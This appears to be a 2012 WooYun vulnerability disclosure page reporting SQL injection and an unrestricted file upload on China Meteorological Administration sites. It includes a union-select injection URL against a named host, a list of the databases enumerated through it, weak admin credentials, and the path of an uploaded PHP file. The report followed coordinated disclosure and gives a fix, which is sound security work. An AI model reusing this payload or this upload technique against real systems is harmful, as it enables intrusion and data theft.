当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06416

漏洞标题：中国气象局某部门文件上传

相关厂商：中国气象局

漏洞作者： Valo洛洛

提交时间：2012-04-30 14:52

修复时间：2012-06-14 14:52

公开时间：2012-06-14 14:52

漏洞类型：文件上传导致任意代码执行

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-30： 细节已通知厂商并且等待厂商处理中
2012-05-04： 厂商已经确认，细节仅向厂商公开
2012-05-14： 细节向核心白帽子及相关领域专家公开
2012-05-24： 细节向普通白帽子公开
2012-06-03： 细节向实习白帽子公开
2012-06-14： 细节向公众公开

简要描述：

中国气象局某部门文件上传，可获得shell，提权，进行内网渗透。

详细说明：

http://ncc.cma.gov.cn/cn/中国气象局国家气候中心存在SQL注入
http://ncc.cma.gov.cn/Website/index.php?ChannelID=3%20and%201=2%20union%20select%201,2,3,4,5--
可跨库，获得服务器上多个子站数据库

Target: 		http://ncc.cma.gov.cn/Website/index.php?ChannelID=3
Host IP:		211.147.16.19
Web Server: 	Apache/2.2.0 (Linux/SUSE)
Powered-by: 	PHP/5.1.2
DB Server: 	MySQL
Current DB: 	ncc_cma_gov_cn
Data Bases: 	information_schema
		973prj
		bcc_cma_gov_cn
		db_CCCs_discuz
		db_bcc_eamac
		db_csmd_cma_gov_cn
		db_cwera_cma_gov_cn
		db_cwera_cma_gov_cn_bak
		db_perc_data
		db_rccra2_org
		db_tq77-3_discuz
		ipcc_cma_gov_cn
		mysql
		ncc_cma_gov_cn
		ncclcs_cma_gov_cn
		test
		tmp


此站后台没有找到突破方法，通过数据库名字找到
http://www.ipcc.cma.gov.cn中国气候变化网
通过之前的注入获得后台U:admin P:admin (标准的弱口令，我去！！)
新闻变基础存在任意文件上传，没有进行任何过滤。


http://www.ipcc.cma.gov.cn/NewsCenter/NewsFile/News201204261832540.php


漏洞证明：

目测存在中国气象局的6-7个分站！！

修复方案：

上传验证，服务器设置权限使不可跨目录！

版权声明：转载请注明来源 Valo洛洛@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2012-05-04 14:22

厂商回复：

CNVD确认漏洞并复现所述过程，涉事国务院部委直属机构下属多个子站，将作为典型案例通报国务院某信息安全协调机构处置。
对漏洞评分如下：
CVSS：(AV:R/AC:L/Au:NR/C:C/A:C/I:C/B:N) score:10.00（最高10分，高危）
即：远程攻击、攻击难度低、不需要用户认证，对机密性、完整性、可用性造成完全影响。
技术难度系数：1.0（一般，上传文件校验）
影响危害系数：1.4（严重）
CNVD综合评分：10.00*1.0*1.4=14

最新状态：

暂无